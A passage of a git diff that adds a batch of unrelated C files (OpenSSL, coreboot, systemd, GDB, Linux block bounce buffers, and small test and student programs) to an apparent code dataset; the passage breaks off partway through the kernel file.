+ + /* get file size after writing some chars */ + GetFileSizeEx(hFile, &qwFileSize2); + if((qwFileSize2.QuadPart-qwFileSize.QuadPart) !=strlen(data)) + { + CleanUp(hFile); + Fail("GetFileSizeEx: ERROR -> File size did not increase properly after.\n" + "writing %d chars\n", strlen(data)); + } + + CleanUp(hFile); + PAL_Terminate(); + return PASS; +} diff --git a/pool/shard011/C/0141822_MLE_JNI.c b/pool/shard011/C/0141822_MLE_JNI.c new file mode 100644 index 0000000000000000000000000000000000000000..d223b486eba190479907714a553f720513a6ca6b --- /dev/null +++ b/pool/shard011/C/0141822_MLE_JNI.c @@ -0,0 +1,99 @@ +#include +#include +#include "MLE_JNI.h" +#include + +#include + +const char* MLENAME = "mle"; + +jlong Java_com_defendec_subsserver_MLE_create(JNIEnv* env, jobject thiz, jint bufferSize) +{ + ml_encoder_t* enc = (ml_encoder_t*) malloc(sizeof(ml_encoder_t)); + uint8_t* buf = (uint8_t*) malloc(bufferSize); + int res = MLE_initialize(enc, buf, bufferSize); + if (res != SUCCESS) + { + Java_com_defendec_subsserver_MLE_destroy(env, thiz, (jlong) (intptr_t) enc); + enc = NULL; + } + return (jlong) (intptr_t) enc; +} + +void Java_com_defendec_subsserver_MLE_destroy(JNIEnv* env, jobject thiz, jlong enc) +{ + ml_encoder_t* obj = (ml_encoder_t*) (intptr_t) enc; + if (obj != NULL) + { + if (obj->buf != NULL) + { + free(obj->buf); + obj->buf = NULL; + } + free(obj); + } +} + +jbyteArray Java_com_defendec_subsserver_MLE_MLE_1getEncoded(JNIEnv* env, jobject thiz, jlong enc) +{ + jbyteArray res = NULL; + + ml_encoder_t* obj = (ml_encoder_t*) (intptr_t) enc; + uint8_t* buf = obj->buf; + if (buf == NULL) + { + return res; + } + uint8_t len = MLE_finalize(obj); + if (len > 0) + { + jbyte* jbuf = (jbyte*) malloc(len); + memcpy(jbuf, buf, len); + res = (*env)->NewByteArray(env, len); + (*env)->SetByteArrayRegion(env, res, 0, len, jbuf); + free(jbuf); + } + return res; +} + +jshort Java_com_defendec_subsserver_MLE_MLE_1appendObject(JNIEnv* env, jobject thiz, jlong enc, jlong object) +{ + return (jshort) MLE_appendObject((ml_encoder_t*) (intptr_t) enc, (ml_object_t*) (intptr_t) object); +} + +jshort Java_com_defendec_subsserver_MLE_MLE_1appendOSV(JNIEnv* env, jobject thiz, jlong enc, jlong type, jshort subject, + jint value) +{ + return (jshort) MLE_appendOSV((ml_encoder_t*) (intptr_t) enc, (uint32_t) type, (uint8_t) subject, (int) value); +} + +jshort Java_com_defendec_subsserver_MLE_MLE_1appendOV(JNIEnv* env, jobject thiz, jlong enc, jlong type, jint value) +{ + return (jshort) MLE_appendOV((ml_encoder_t*) (intptr_t) enc, (uint32_t) type, (int) value); +} + +jshort Java_com_defendec_subsserver_MLE_MLE_1appendOS(JNIEnv* env, jobject thiz, jlong enc, jlong type, jshort subject) +{ + return (jshort) MLE_appendOS((ml_encoder_t*) (intptr_t) enc, (uint32_t) type, (uint8_t) subject); +} + +jshort Java_com_defendec_subsserver_MLE_MLE_1appendO(JNIEnv* env, jobject thiz, jlong enc, jlong type) +{ + return (jshort) MLE_appendO((ml_encoder_t*) (intptr_t) enc, (uint32_t) type); +} + +jshort Java_com_defendec_subsserver_MLE_MLE_1spaceLeft(JNIEnv* env, jobject thiz, jlong enc) +{ + return (jshort) MLE_spaceLeft((ml_encoder_t*) (intptr_t) enc); +} + +jshort Java_com_defendec_subsserver_MLE_MLE_1spaceUsed(JNIEnv* env, jobject thiz, jlong enc) +{ + return (jshort) MLE_spaceUsed((ml_encoder_t*) (intptr_t) enc); +} + +jshort Java_com_defendec_subsserver_MLE_MLE_1deleteObject(JNIEnv* env, jobject thiz, jlong enc, jshort number) +{ + return (jshort) MLE_deleteObject((ml_encoder_t*) (intptr_t) enc, (uint8_t) number); +} + diff --git a/pool/shard011/C/0141823_x_algor.c b/pool/shard011/C/0141823_x_algor.c new file mode 100644 index 0000000000000000000000000000000000000000..3290dc7b18b1c0eb81792112a5b168e33c038525 --- /dev/null +++ b/pool/shard011/C/0141823_x_algor.c @@ -0,0 +1,94 @@ +/* + * Copyright 1998-2016 The OpenSSL Project Authors. All Rights Reserved. + * + * Licensed under the OpenSSL license (the "License"). You may not use + * this file except in compliance with the License. You can obtain a copy + * in the file LICENSE in the source distribution or at + * https://www.openssl.org/source/license.html + */ + +#include +#include BOSS_OPENSSL_V_openssl__x509_h //original-code: +#include BOSS_OPENSSL_V_openssl__asn1_h //original-code: +#include BOSS_OPENSSL_V_openssl__asn1t_h //original-code: +#include BOSS_OPENSSL_U_internal__evp_int_h //original-code:"internal/evp_int.h" + +ASN1_SEQUENCE(X509_ALGOR) = { + ASN1_SIMPLE(X509_ALGOR, algorithm, ASN1_OBJECT), + ASN1_OPT(X509_ALGOR, parameter, ASN1_ANY) +} ASN1_SEQUENCE_END(X509_ALGOR) + +ASN1_ITEM_TEMPLATE(X509_ALGORS) = + ASN1_EX_TEMPLATE_TYPE(ASN1_TFLG_SEQUENCE_OF, 0, algorithms, X509_ALGOR) +ASN1_ITEM_TEMPLATE_END(X509_ALGORS) + +IMPLEMENT_ASN1_FUNCTIONS(X509_ALGOR) +IMPLEMENT_ASN1_ENCODE_FUNCTIONS_fname(X509_ALGORS, X509_ALGORS, X509_ALGORS) +IMPLEMENT_ASN1_DUP_FUNCTION(X509_ALGOR) + +int X509_ALGOR_set0(X509_ALGOR *alg, ASN1_OBJECT *aobj, int ptype, void *pval) +{ + if (alg == NULL) + return 0; + + if (ptype != V_ASN1_UNDEF) { + if (alg->parameter == NULL) + alg->parameter = ASN1_TYPE_new(); + if (alg->parameter == NULL) + return 0; + } + + ASN1_OBJECT_free(alg->algorithm); + alg->algorithm = aobj; + + if (ptype == 0) + return 1; + if (ptype == V_ASN1_UNDEF) { + ASN1_TYPE_free(alg->parameter); + alg->parameter = NULL; + } else + ASN1_TYPE_set(alg->parameter, ptype, pval); + return 1; +} + +void X509_ALGOR_get0(const ASN1_OBJECT **paobj, int *pptype, + const void **ppval, const X509_ALGOR *algor) +{ + if (paobj) + *paobj = algor->algorithm; + if (pptype) { + if (algor->parameter == NULL) { + *pptype = V_ASN1_UNDEF; + return; + } else + *pptype = algor->parameter->type; + if (ppval) + *ppval = algor->parameter->value.ptr; + } +} + +/* Set up an X509_ALGOR DigestAlgorithmIdentifier from an EVP_MD */ + +void X509_ALGOR_set_md(X509_ALGOR *alg, const EVP_MD *md) +{ + int param_type; + + if (md->flags & EVP_MD_FLAG_DIGALGID_ABSENT) + param_type = V_ASN1_UNDEF; + else + param_type = V_ASN1_NULL; + + X509_ALGOR_set0(alg, OBJ_nid2obj(EVP_MD_type(md)), param_type, NULL); + +} + +int X509_ALGOR_cmp(const X509_ALGOR *a, const X509_ALGOR *b) +{ + int rv; + rv = OBJ_cmp(a->algorithm, b->algorithm); + if (rv) + return rv; + if (!a->parameter && !b->parameter) + return 0; + return ASN1_TYPE_cmp(a->parameter, b->parameter); +} diff --git a/pool/shard011/C/0141824_reduce.c b/pool/shard011/C/0141824_reduce.c new file mode 100644 index 0000000000000000000000000000000000000000..585cd215527517d21cbc138586851745dae3e464 --- /dev/null +++ b/pool/shard011/C/0141824_reduce.c @@ -0,0 +1,33 @@ +/* Good broadcasts. + */ +#include +#include + +int nprocs; +int myrank; + +#define count 10 + +void main() { + int argc; + char **argv; + double x[count]; + double y[count]; + int root; + int i; + + MPI_Init(&argc, &argv); + MPI_Comm_rank(MPI_COMM_WORLD, &myrank); + MPI_Comm_size(MPI_COMM_WORLD, &nprocs); + root = nprocs-1; // just to be different + for (i=0; i */ + +/* + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#include "config.h" +#include "ej_limits.h" +#include "version.h" + +#include "ncheck_packet.h" + +#include "reuse_xalloc.h" +#include "reuse_osdeps.h" + +#include +#include +#include +#include + +static const unsigned char *program_name; +static unsigned char *program_dir; +static unsigned char *config_file; + +static void +die(const char *format, ...) + __attribute__((noreturn, format(printf, 1, 2))); +static void +die(const char *format, ...) +{ + char buf[1024]; + va_list args; + + va_start(args, format); + vsnprintf(buf, sizeof(buf), format, args); + va_end(args); + + fprintf(stderr, "%s: fatal: %s\n", program_name, buf); + exit(1); +} + +static void +get_program_dir(const unsigned char *program_path) +{ + unsigned char *workdir = 0; + unsigned char fullpath[EJ_PATH_MAX]; + + if (os_IsAbsolutePath(program_path)) { + program_dir = os_DirName(program_path); + os_normalize_path(program_dir); + return; + } + + workdir = os_GetWorkingDir(); + snprintf(fullpath, sizeof(fullpath), "%s/%s", workdir, program_path); + xfree(workdir); workdir = 0; + os_normalize_path(fullpath); + program_dir = os_DirName(fullpath); +} + +static void +get_config_file(void) +{ + unsigned char buf[EJ_PATH_MAX]; + + if (config_file) return; + + snprintf(buf, sizeof(buf), "%s/ncheck.cfg", program_dir); + config_file = xstrdup(buf); +} + +static void +print_version(void) +{ + printf("%s %s, compiled %s\n", program_name, compile_version, compile_date); + exit(0); +} + +static void +print_help(void) +{ + exit(0); +} + +struct config_global_data +{ + struct generic_section_config g; +}; + +#define XFSIZE(t, x) (sizeof(((t*) 0)->x)) + +#define CONFIG_OFFSET(x) XOFFSET(struct config_global_data, x) +#define CONFIG_SIZE(x) XFSIZE(struct config_global_data, x) +#define CONFIG_PARAM(x, t) { #x, t, CONFIG_OFFSET(x), CONFIG_SIZE(x) } +static const struct config_parse_info config_global_params[] = +{ + //CONFIG_PARAM(sleep_time, "d"), + //CONFIG_PARAM(spool_dir, "s"), + //CONFIG_PARAM(work_dir, "s"), + //CONFIG_PARAM(cache_dir, "s"), + + { 0, 0, 0, 0 } +}; + +static const struct config_section_info params[] = +{ + { "global", sizeof(struct config_global_data), config_global_params, 0, 0, 0 }, + { NULL, 0, NULL } +}; + +int +main(int argc, char *argv[]) +{ + int i; + + if (argc <= 0 || !argv[0]) { + fprintf(stderr, "invalid program name\n"); + return 1; + } + program_name = os_GetLastname(argv[0]); + get_program_dir(argv[0]); + + for (i = 1; i < argc; ++i) { + if (!strcmp(argv[i], "--version")) { + print_version(); + } else if (!strcmp(argv[i], "--help")) { + print_help(); + } else { + die("invalid option: %s", argv[i]); + } + } + + get_config_file(); + + return 0; +} + +/* + * Local variables: + * compile-command: "make" + * End: + */ diff --git a/pool/shard011/C/0141826_acpi_tables.c b/pool/shard011/C/0141826_acpi_tables.c new file mode 100644 index 0000000000000000000000000000000000000000..7ddc5b8509597934c1ce6e17a419cf7241c07974 --- /dev/null +++ b/pool/shard011/C/0141826_acpi_tables.c @@ -0,0 +1,65 @@ +/* + * This file is part of the coreboot project. + * + * Copyright (C) 2007-2009 coresystems GmbH + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation; version 2 of + * the License. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +void acpi_create_gnvs(global_nvs_t *gnvs) +{ + memset((void *)gnvs, 0, sizeof(*gnvs)); + gnvs->apic = 1; + gnvs->mpen = 1; /* Enable Multi Processing */ + + /* Enable both COM ports */ + gnvs->cmap = 0x01; + gnvs->cmbp = 0x01; + +} + +unsigned long acpi_fill_madt(unsigned long current) +{ + /* Local APICs */ + current = acpi_create_madt_lapics(current); + + /* IOAPIC */ + current += acpi_create_madt_ioapic((acpi_madt_ioapic_t *) current, + 2, IO_APIC_ADDR, 0); + + /* LAPIC_NMI */ + current += acpi_create_madt_lapic_nmi((acpi_madt_lapic_nmi_t *) + current, 0, + MP_IRQ_POLARITY_HIGH | + MP_IRQ_TRIGGER_EDGE, 0x01); + current += acpi_create_madt_lapic_nmi((acpi_madt_lapic_nmi_t *) + current, 1, MP_IRQ_POLARITY_HIGH | + MP_IRQ_TRIGGER_EDGE, 0x01); + + /* INT_SRC_OVR */ + current += acpi_create_madt_irqoverride((acpi_madt_irqoverride_t *) + current, 0, 0, 2, MP_IRQ_POLARITY_HIGH | MP_IRQ_TRIGGER_EDGE); + current += acpi_create_madt_irqoverride((acpi_madt_irqoverride_t *) + current, 0, 9, 9, MP_IRQ_POLARITY_HIGH | MP_IRQ_TRIGGER_LEVEL); + + + return current; +} diff --git a/pool/shard011/C/0141827_netif-util.c b/pool/shard011/C/0141827_netif-util.c new file mode 100644 index 0000000000000000000000000000000000000000..85b6ad45c8bcab4cd1eccad6ed19bfeae09b01a1 --- /dev/null +++ b/pool/shard011/C/0141827_netif-util.c @@ -0,0 +1,101 @@ +/* SPDX-License-Identifier: LGPL-2.1-or-later */ + +#include "arphrd-util.h" +#include "device-util.h" +#include "netif-util.h" +#include "siphash24.h" +#include "sparse-endian.h" +#include "strv.h" + +int net_get_type_string(sd_device *device, uint16_t iftype, char **ret) { + const char *t; + char *p; + + if (device && + sd_device_get_devtype(device, &t) >= 0 && + !isempty(t)) { + p = strdup(t); + if (!p) + return -ENOMEM; + + *ret = p; + return 0; + } + + t = arphrd_to_name(iftype); + if (!t) + return -ENOENT; + + p = strdup(t); + if (!p) + return -ENOMEM; + + *ret = ascii_strlower(p); + return 0; +} + +const char *net_get_persistent_name(sd_device *device) { + const char *name, *field; + + assert(device); + + /* fetch some persistent data unique (on this machine) to this device */ + FOREACH_STRING(field, "ID_NET_NAME_ONBOARD", "ID_NET_NAME_SLOT", "ID_NET_NAME_PATH", "ID_NET_NAME_MAC") + if (sd_device_get_property_value(device, field, &name) >= 0) + return name; + + return NULL; +} + +/* Used when generating hardware address by udev, and IPv4LL seed by networkd. */ +#define HASH_KEY SD_ID128_MAKE(d3,1e,48,fa,90,fe,4b,4c,9d,af,d5,d7,a1,b1,2e,8a) + +int net_get_unique_predictable_data(sd_device *device, bool use_sysname, uint64_t *ret) { + const char *name; + + assert(device); + assert(ret); + + /* net_get_persistent_name() will return one of the device names based on stable information about + * the device. If this is not available, we fall back to using the actual device name. */ + name = net_get_persistent_name(device); + if (!name && use_sysname) + (void) sd_device_get_sysname(device, &name); + if (!name) + return log_device_debug_errno(device, SYNTHETIC_ERRNO(ENODATA), + "No stable identifying information found"); + + log_device_debug(device, "Using \"%s\" as stable identifying information", name); + + return net_get_unique_predictable_data_from_name(name, &HASH_KEY, ret); +} + +int net_get_unique_predictable_data_from_name( + const char *name, + const sd_id128_t *key, + uint64_t *ret) { + + size_t l, sz; + uint8_t *v; + int r; + + assert(name); + assert(key); + assert(ret); + + l = strlen(name); + sz = sizeof(sd_id128_t) + l; + v = newa(uint8_t, sz); + + /* Fetch some persistent data unique to this machine */ + r = sd_id128_get_machine((sd_id128_t*) v); + if (r < 0) + return r; + + memcpy(v + sizeof(sd_id128_t), name, l); + + /* Let's hash the machine ID plus the device name. We use + * a fixed, but originally randomly created hash key here. */ + *ret = htole64(siphash24(v, sz, key->bytes)); + return 0; +} diff --git a/pool/shard011/C/0141828_read_xpm.c b/pool/shard011/C/0141828_read_xpm.c new file mode 100644 index 0000000000000000000000000000000000000000..172b2cba1ed2c562c5e56ae2a91e6a00e3cf0144 --- /dev/null +++ b/pool/shard011/C/0141828_read_xpm.c @@ -0,0 +1,62 @@ +#include +#include +#include "X11/xpm.h" + +int main(int argc, char *argv[]){ + XpmImage XPM; + XpmInfo XPM_info; + FILE *fp; + char* fin, fout; + int i, j, o; + int *acorr; + + fin = argv[1]; + fout = argv[2]; + + printf("Start Reading file : %s\n", fin); + + XpmReadFileToXpmImage(fin, &XPM, &XPM_info); + + printf("Done Reading!\n"); + printf("****************\nXpmImage Contents\n"); + printf("width : %10d\n", XPM.width); + printf("height : %10d\n", XPM.height); + printf("cpp : %10d\n", XPM.cpp); + printf("ncolors: %10d\n", XPM.ncolors); + + for (i=0;i +#include +#include +#include +#include +#include +#include + +#include "cdc/cdc.h" + +char *dest_dir = NULL; + +static void rawdata_to_hex (const unsigned char *rawdata, + char *hex_str, int n_bytes) +{ + static const char hex[] = "0123456789abcdef"; + int i; + + for (i = 0; i < n_bytes; i++) { + unsigned int val = *rawdata++; + *hex_str++ = hex[val >> 4]; + *hex_str++ = hex[val & 0xf]; + } + *hex_str = '\0'; +} + +int test_chunks (CDCFileDescriptor *file_descriptor) +{ + struct stat sb; + char chksum_str[CHECKSUM_LENGTH *2 + 1]; + char filename[NAME_MAX_SZ]; + uint8_t *ptr = file_descriptor->blk_sha1s; + int i = 0; + + int max_sz = -1, min_sz = INT_MAX, total_sz = 0; + + printf ("%d chunks.\n", file_descriptor->block_nr); + + while (i < file_descriptor->block_nr) { + rawdata_to_hex (ptr, chksum_str, CHECKSUM_LENGTH); + snprintf (filename, NAME_MAX_SZ, "%s/%s", dest_dir, chksum_str); + if (g_stat (filename, &sb) < 0) { + perror ("stat"); + return -1; + } + + if (sb.st_size < min_sz) + min_sz = sb.st_size; + if (sb.st_size > max_sz) + max_sz = sb.st_size; + total_sz += sb.st_size; + + if (sb.st_size > file_descriptor->block_max_sz) { + fprintf (stderr, "chunk size too large: %s.\n", chksum_str); + return -1; + } + if (sb.st_size < file_descriptor->block_min_sz && + i != file_descriptor->block_nr - 1) { + fprintf (stderr, "chunk size too small: %s.\n", chksum_str); + return -1; + } + + ptr += CHECKSUM_LENGTH; + ++i; + } + + printf ("max size: %d\n", max_sz); + printf ("min size: %d\n", min_sz); + printf ("avg size: %d\n", total_sz/file_descriptor->block_nr); + + return 0; +} + +int test_write_chunk (CDCDescriptor *chunk_descr, + struct SeafileCrypt *crypt, + uint8_t *checksum, + gboolean write_data) +{ + char filename[NAME_MAX_SZ]; + char chksum_str[CHECKSUM_LENGTH *2 + 1]; + int fd_chunk, ret; + + rawdata_to_hex (chunk_descr->checksum, chksum_str, CHECKSUM_LENGTH); + snprintf (filename, NAME_MAX_SZ, "%s/%s", dest_dir, chksum_str); + fd_chunk = g_open (filename, O_WRONLY | O_CREAT | O_BINARY, 0644); + if (fd_chunk < 0) + return -1; + + ret = write (fd_chunk, chunk_descr->block_buf, chunk_descr->len); + return ret; +} + +int main (int argc, char *argv[]) +{ + char *src_filename = NULL; + int ret = 0, fd_src; + CDCFileDescriptor file_descr; + + if (argc < 3) { + fprintf(stderr, "%s SOURCE DEST \n", argv[0]); + exit(0); + } else { + src_filename = argv[1]; + dest_dir = argv[2]; + } + + memset (&file_descr, 0, sizeof (file_descr)); + file_descr.write_block = test_write_chunk; + ret = filename_chunk_cdc (src_filename, &file_descr, NULL, TRUE); + if (ret == -1) { + fprintf(stderr, "file chunk failed\n"); + exit(1); + } + + ret = test_chunks (&file_descr); + if (ret < 0) { + fprintf (stderr, "chunk test failed.\n"); + exit(1); + } + + printf ("test passed.\n"); + return 0; +} diff --git a/pool/shard011/C/0141830_py-evts.c b/pool/shard011/C/0141830_py-evts.c new file mode 100644 index 0000000000000000000000000000000000000000..ba47a0421726e68124f3482eac7883b0a8509829 --- /dev/null +++ b/pool/shard011/C/0141830_py-evts.c @@ -0,0 +1,108 @@ +/* Python interface to inferior events. + + Copyright (C) 2009-2015 Free Software Foundation, Inc. + + This file is part of GDB. + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . */ + +#include "defs.h" +#include "py-events.h" + +#ifdef IS_PY3K +static struct PyModuleDef EventModuleDef = +{ + PyModuleDef_HEAD_INIT, + "gdb.events", + NULL, + -1, + NULL, + NULL, + NULL, + NULL, + NULL +}; +#endif + +/* Initialize python events. */ + +static int CPYCHECKER_NEGATIVE_RESULT_SETS_EXCEPTION +add_new_registry (eventregistry_object **registryp, char *name) +{ + int result; + + *registryp = create_eventregistry_object (); + + if (*registryp == NULL) + return -1; + + return gdb_pymodule_addobject (gdb_py_events.module, + name, + (PyObject *)(*registryp)); +} + +int +gdbpy_initialize_py_events (void) +{ +#ifdef IS_PY3K + gdb_py_events.module = PyModule_Create (&EventModuleDef); +#else + gdb_py_events.module = Py_InitModule ("events", NULL); +#endif + + if (!gdb_py_events.module) + return -1; + + if (add_new_registry (&gdb_py_events.stop, "stop") < 0) + return -1; + + if (add_new_registry (&gdb_py_events.cont, "cont") < 0) + return -1; + + if (add_new_registry (&gdb_py_events.exited, "exited") < 0) + return -1; + + if (add_new_registry (&gdb_py_events.inferior_call, + "inferior_call") < 0) + return -1; + + if (add_new_registry (&gdb_py_events.memory_changed, + "memory_changed") < 0) + return -1; + + if (add_new_registry (&gdb_py_events.register_changed, + "register_changed") < 0) + return -1; + + if (add_new_registry (&gdb_py_events.new_objfile, "new_objfile") < 0) + return -1; + + if (add_new_registry (&gdb_py_events.clear_objfiles, "clear_objfiles") < 0) + return -1; + + if (add_new_registry (&gdb_py_events.solib_about_to_search, + "solib_about_to_search") < 0) + return -1; + + if (add_new_registry (&gdb_py_events.inferior_appeared, + "inferior_appeared") < 0) + return -1; + + if (gdb_pymodule_addobject (gdb_module, + "events", + (PyObject *) gdb_py_events.module) < 0) + return -1; + + return 0; +} diff --git a/pool/shard011/C/0141831_data-type.c b/pool/shard011/C/0141831_data-type.c new file mode 100644 index 0000000000000000000000000000000000000000..4051f0bad0e7b964cb758f05ae1a25030b7b3fca --- /dev/null +++ b/pool/shard011/C/0141831_data-type.c @@ -0,0 +1,28 @@ +#include // int8_t ... +#include +#include // PRId32 etc +#include // defines a set of constants delimiting the ranges of the different integer data types for the particular machine + +int main() +{ + int8_t a; + int16_t b; + int32_t c; + int64_t d; + + a = 127; // 0x7f + b = 32767; // 0x7fff + c = 2147483647; // 0x7fffffff + d = 9223372036854775807; // 0x7fffffffffffffff + + printf("a = %" PRId8 ", b = %" PRId16 ", c = %" PRId32 ", d = %" PRId64 "\n", a, b, c, d); + a +=1; + b +=1; + c +=1; + d +=1; + printf("a = %" PRId8 ", b = %" PRId16 ", c = %" PRId32 ", d = %" PRId64 "\n", a, b, c, d); + + printf("INT8_MAX = %" PRId8 ", INT16_MAX = %" PRId16 ", INT32_MAX = %" PRId32 ", INT64_MAX = %" PRId64 "\n", INT8_MAX, INT16_MAX, INT32_MAX, INT64_MAX); + + return 0; +} diff --git a/pool/shard011/C/0141832_guia-mersenne.c b/pool/shard011/C/0141832_guia-mersenne.c new file mode 100644 index 0000000000000000000000000000000000000000..f830db8a41fa7f620c6c445da670365aa2b93a72 --- /dev/null +++ b/pool/shard011/C/0141832_guia-mersenne.c @@ -0,0 +1,111 @@ +/* + Funcion: CAMBIAR FUNCION + + Resolver la formula m = 2^p - 1 + + Los primeros numeros de Mersenne son: + 3, 7, 31, 127, 8191, 131071, 524287, etc... + + Link a wikipedia eng sobre numeros de Wagstaff + https://es.wikipedia.org/wiki/N%C3%BAmero_primo_de_Mersenne + + Nota: A lo largo del codigo aparecen varios printf(); comentados con + '//DEBUG' + Si uno necesitara checkear el valor de alguna variable, descomentar + esa linea. + + Alumno: Matias Vittor +*/ +#include +#define n 31 + +int main () { + int p, m, div_p, div_m, prim_v, resultado, i, flag, m_noprimo, p_noprimo; + /* + n = el numero hasta donde voy a buscar primos (tmb evaluo a n inclusive) + p = numero a comprobar si es n° primo + m = numero a comprobar si es n° de mersenne + div_p = divisor del posible numero primo + div_m = divisor del posible numero mersenne + prim_v es un contador: + cada vez que el modulo de p / div_p == 0, se aumenta en 1 + cada vez que el modulo de m / div_m == 0, se aumenta en 1 + va a utilizarse en momentos diferentes. + resultado == 2 en primera instancia, sirve para calcular 2^p + i = la variable del for para calcular 2^p + flag = sirve para calcular el primer n° m que no sea primo + m_np = primer n° m que no sea primo + p_np = el valor de p para el primer n° de m que no sea primo + */ + flag = 0; + //Genero un numero + //Inicializa en 2 porque 2 es el 1er n° primo + for (p = 2; p <= n ; p++) { + //reseteo de prim_v + prim_v = 0; + //DEBUG printf("\np = %d", p); + for (div_p = 1; div_p <= p ; div_p++) { + //DEBUG printf("\ndiv_p = %d", div_p); + if (p % div_p == 0) { + prim_v = prim_v + 1; + //DEBUG printf("\nprim_v = %d", prim_v); + } + } + //Aca se verifica si el numero 'p' es primo o no + if (prim_v == 2) { + //DEBUG printf("\n%d es primo", p); + + //Si consegui un n° primo, sigo resolviendo la formula de m + //Ahora calculo cuanto seria 2^p + + //resultado = el resultado de 2^p + //siempre se inicializa en 2 + + resultado = 2; + for(i = 2; i <= p ; i++) { + resultado = resultado * 2; + //DEBUG printf("\n2^%d es %d\n\n", p, resultado); + } + + m = resultado - 1; + //DEBUG printf("\nPosible n° de mersenne = %d\n", m); + + //por ahora 'm' es un posible numero de mersenne, checkeo si m es un + //numero primo + + //reseteo de prim_v + prim_v = 0; + + //div_m = divisor del posible numero m + for (div_m = 1; div_m <= m ; div_m++) { + //DEBUG printf("\ndiv_m = %d", div_m); + if (m % div_m == 0) { + prim_v = prim_v + 1; + //DEBUG printf("\nprim_v = %d", prim_v); + } + } + //Checkeo si el posible n° m es primo o no + if (prim_v == 2) { + printf("\nn° de Mersenne encontrado! %d", m); + } else { + //El if se ejecuta cuando flag == 0 + //O sea, se ejecuta la primera vez que se encuentra un n° m que no sea + //primo + if (flag == 0) { + m_noprimo = m; + p_noprimo = p; + flag = 1; + printf("\nEl 1er n° de Mersenne que no es primo es: %d y su " + "correspondiente p es: %d", m_noprimo, p_noprimo); + } + } + } + //DEBUG printf("\n%d no es primo\n", p); + + //Vuelvo al primer for, donde 'p' ahora es p + 1 + } + printf("\n\n"); + return 0; +} + //CONSIGNA: Encontrar el primer n° m que no es primo y su correspondiente + //valor de p diff --git a/pool/shard011/C/0141833_bounce.c b/pool/shard011/C/0141833_bounce.c new file mode 100644 index 0000000000000000000000000000000000000000..bf0cf7c8387b8d92c93dfb18436a7f2cf424cb00 --- /dev/null +++ b/pool/shard011/C/0141833_bounce.c @@ -0,0 +1,296 @@ +/* bounce buffer handling for block devices + * + * - Split from highmem.c + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define POOL_SIZE 64 +#define ISA_POOL_SIZE 16 + +static mempool_t *page_pool, *isa_page_pool; + +DEFINE_TRACE(block_bio_bounce); + +#ifdef CONFIG_HIGHMEM +static __init int init_emergency_pool(void) +{ + struct sysinfo i; + si_meminfo(&i); + si_swapinfo(&i); + + if (!i.totalhigh) + return 0; + + page_pool = mempool_create_page_pool(POOL_SIZE, 0); + BUG_ON(!page_pool); + printk("highmem bounce pool size: %d pages\n", POOL_SIZE); + + return 0; +} + +__initcall(init_emergency_pool); + +/* + * highmem version, map in to vec + */ +static void bounce_copy_vec(struct bio_vec *to, unsigned char *vfrom) +{ + unsigned long flags; + unsigned char *vto; + + local_irq_save(flags); + vto = kmap_atomic(to->bv_page, KM_BOUNCE_READ); + memcpy(vto + to->bv_offset, vfrom, to->bv_len); + kunmap_atomic(vto, KM_BOUNCE_READ); + local_irq_restore(flags); +} + +#else /* CONFIG_HIGHMEM */ + +#define bounce_copy_vec(to, vfrom) \ + memcpy(page_address((to)->bv_page) + (to)->bv_offset, vfrom, (to)->bv_len) + +#endif /* CONFIG_HIGHMEM */ + +/* + * allocate pages in the DMA region for the ISA pool + */ +static void *mempool_alloc_pages_isa(gfp_t gfp_mask, void *data) +{ + return mempool_alloc_pages(gfp_mask | GFP_DMA, data); +} + +/* + * gets called "every" time someone init's a queue with BLK_BOUNCE_ISA + * as the max address, so check if the pool has already been created. + */ +int init_emergency_isa_pool(void) +{ + if (isa_page_pool) + return 0; + + isa_page_pool = mempool_create(ISA_POOL_SIZE, mempool_alloc_pages_isa, + mempool_free_pages, (void *) 0); + BUG_ON(!isa_page_pool); + + printk("isa bounce pool size: %d pages\n", ISA_POOL_SIZE); + return 0; +} + +/* + * Simple bounce buffer support for highmem pages. Depending on the + * queue gfp mask set, *to may or may not be a highmem page. kmap it + * always, it will do the Right Thing + */ +static void copy_to_high_bio_irq(struct bio *to, struct bio *from) +{ + unsigned char *vfrom; + struct bio_vec *tovec, *fromvec; + int i; + + __bio_for_each_segment(tovec, to, i, 0) { + fromvec = from->bi_io_vec + i; + + /* + * not bounced + */ + if (tovec->bv_page == fromvec->bv_page) + continue; + + /* + * fromvec->bv_offset and fromvec->bv_len might have been + * modified by the block layer, so use the original copy, + * bounce_copy_vec already uses tovec->bv_len + */ + vfrom = page_address(fromvec->bv_page) + tovec->bv_offset; + + flush_dcache_page(tovec->bv_page); + bounce_copy_vec(tovec, vfrom); + } +} + +static void bounce_end_io(struct bio *bio, mempool_t *pool, int err) +{ + struct bio *bio_orig = bio->bi_private; + struct bio_vec *bvec, *org_vec; + int i; + + if (test_bit(BIO_EOPNOTSUPP, &bio->bi_flags)) + set_bit(BIO_EOPNOTSUPP, &bio_orig->bi_flags); + + /* + * free up bounce indirect pages used + */ + __bio_for_each_segment(bvec, bio, i, 0) { + org_vec = bio_orig->bi_io_vec + i; + if (bvec->bv_page == org_vec->bv_page) + continue; + + dec_zone_page_state(bvec->bv_page, NR_BOUNCE); + mempool_free(bvec->bv_page, pool); + } + + bio_endio(bio_orig, err); + bio_put(bio); +} + +static void bounce_end_io_write(struct bio *bio, int err) +{ + bounce_end_io(bio, page_pool, err); +} + +static void bounce_end_io_write_isa(struct bio *bio, int err) +{ + + bounce_end_io(bio, isa_page_pool, err); +} + +static 